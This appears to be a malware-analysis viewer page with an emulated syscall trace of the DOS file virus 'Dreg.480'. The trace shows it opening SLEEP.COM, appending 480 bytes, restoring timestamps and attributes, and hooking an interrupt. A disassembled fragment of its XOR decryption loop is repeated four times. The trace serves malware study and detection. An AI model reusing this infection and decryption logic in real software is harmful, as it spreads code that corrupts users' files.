Sample viewer

vx.netlux.org/Virus.DOS.Dreg.480

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:44:11.42454308Z 53 PC: 12a52 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:44:11.426192746Z 37 PC: 12a6d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:44:11.427504233Z 26 PC: 12a82 | Set disk transfer address
2018-12-17T22:44:11.428827735Z 78 PC: 12aac | Find first file
2018-12-17T22:44:11.436151849Z 61 PC: 12ab7 | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:44:11.44274105Z 63 PC: 12ac4 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:11.44888861Z 62 PC: 12af8 | Close file
2018-12-17T22:44:11.451027713Z 67 PC: 12b03 | Get or set file attributes
2018-12-17T22:44:11.469031271Z 61 PC: 12b0c | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:44:11.475276619Z 44 PC: 12bfc | Get time 0x12bfc: pop dx
0x12bfd: push dx
0x12bfe: push dx
0x12bff: ret
0x12c00: lea si, word ptr [bp + 0x109]
0x12c04: push si
0x12c05: pop di
0x12c06: mov cx, 0xce
0x12c09: lodsw ax, word ptr [si]
0x12c0a: jmp 0x12c10
0x12c0c: stosw word ptr es:[di], ax
0x12c0d: loop 0x12c09
0x12c0f: ret
0x12c10: xor ah, byte ptr [bp + 0x2ab]
0x12c14: xor ax, word ptr [bp + 0x2ac]
0x12c18: xor ah, byte ptr [bp + 0x2af]
0x12c1c: xor ax, word ptr [bp + 0x2b0]
0x12c20: clc
0x12c21: jae 0x12c0c
0x12c23: add word ptr [bx], di
2018-12-17T22:44:11.477238272Z 44 PC: 12bfc | Get time 0x12bfc: pop dx
0x12bfd: push dx
0x12bfe: push dx
0x12bff: ret
0x12c00: lea si, word ptr [bp + 0x109]
0x12c04: push si
0x12c05: pop di
0x12c06: mov cx, 0xce
0x12c09: lodsw ax, word ptr [si]
0x12c0a: jmp 0x12c10
0x12c0c: stosw word ptr es:[di], ax
0x12c0d: loop 0x12c09
0x12c0f: ret
0x12c10: xor ah, byte ptr [bp + 0x2ab]
0x12c14: xor ax, word ptr [bp + 0x2ac]
0x12c18: xor ah, byte ptr [bp + 0x2af]
0x12c1c: xor ax, word ptr [bp + 0x2b0]
0x12c20: clc
0x12c21: jae 0x12c0c
0x12c23: add word ptr [bx], di
2018-12-17T22:44:11.479445422Z 44 PC: 12bfc | Get time 0x12bfc: pop dx
0x12bfd: push dx
0x12bfe: push dx
0x12bff: ret
0x12c00: lea si, word ptr [bp + 0x109]
0x12c04: push si
0x12c05: pop di
0x12c06: mov cx, 0xce
0x12c09: lodsw ax, word ptr [si]
0x12c0a: jmp 0x12c10
0x12c0c: stosw word ptr es:[di], ax
0x12c0d: loop 0x12c09
0x12c0f: ret
0x12c10: xor ah, byte ptr [bp + 0x2ab]
0x12c14: xor ax, word ptr [bp + 0x2ac]
0x12c18: xor ah, byte ptr [bp + 0x2af]
0x12c1c: xor ax, word ptr [bp + 0x2b0]
0x12c20: clc
0x12c21: jae 0x12c0c
0x12c23: add word ptr [bx], di
2018-12-17T22:44:11.481387678Z 44 PC: 12bfc | Get time 0x12bfc: pop dx
0x12bfd: push dx
0x12bfe: push dx
0x12bff: ret
0x12c00: lea si, word ptr [bp + 0x109]
0x12c04: push si
0x12c05: pop di
0x12c06: mov cx, 0xce
0x12c09: lodsw ax, word ptr [si]
0x12c0a: jmp 0x12c10
0x12c0c: stosw word ptr es:[di], ax
0x12c0d: loop 0x12c09
0x12c0f: ret
0x12c10: xor ah, byte ptr [bp + 0x2ab]
0x12c14: xor ax, word ptr [bp + 0x2ac]
0x12c18: xor ah, byte ptr [bp + 0x2af]
0x12c1c: xor ax, word ptr [bp + 0x2b0]
0x12c20: clc
0x12c21: jae 0x12c0c
0x12c23: add word ptr [bx], di
2018-12-17T22:44:11.483644672Z 66 PC: 12c64 | Move file pointer
2018-12-17T22:44:11.485193779Z 64 PC: 12c7b | Write file or device (Write 480 bytes on handle 5)
2018-12-17T22:44:11.493126001Z 66 PC: 12c84 | Move file pointer
2018-12-17T22:44:11.494173765Z 64 PC: 12c8f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:11.501003557Z 87 PC: 12b5f | Get or set file date and time
2018-12-17T22:44:11.50255421Z 62 PC: 12b63 | Close file
2018-12-17T22:44:11.510129741Z 67 PC: 12b72 | Get or set file attributes
2018-12-17T22:44:11.520721731Z 26 PC: 12b84 | Set disk transfer address
2018-12-17T22:44:11.522041496Z 37 PC: 12b95 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')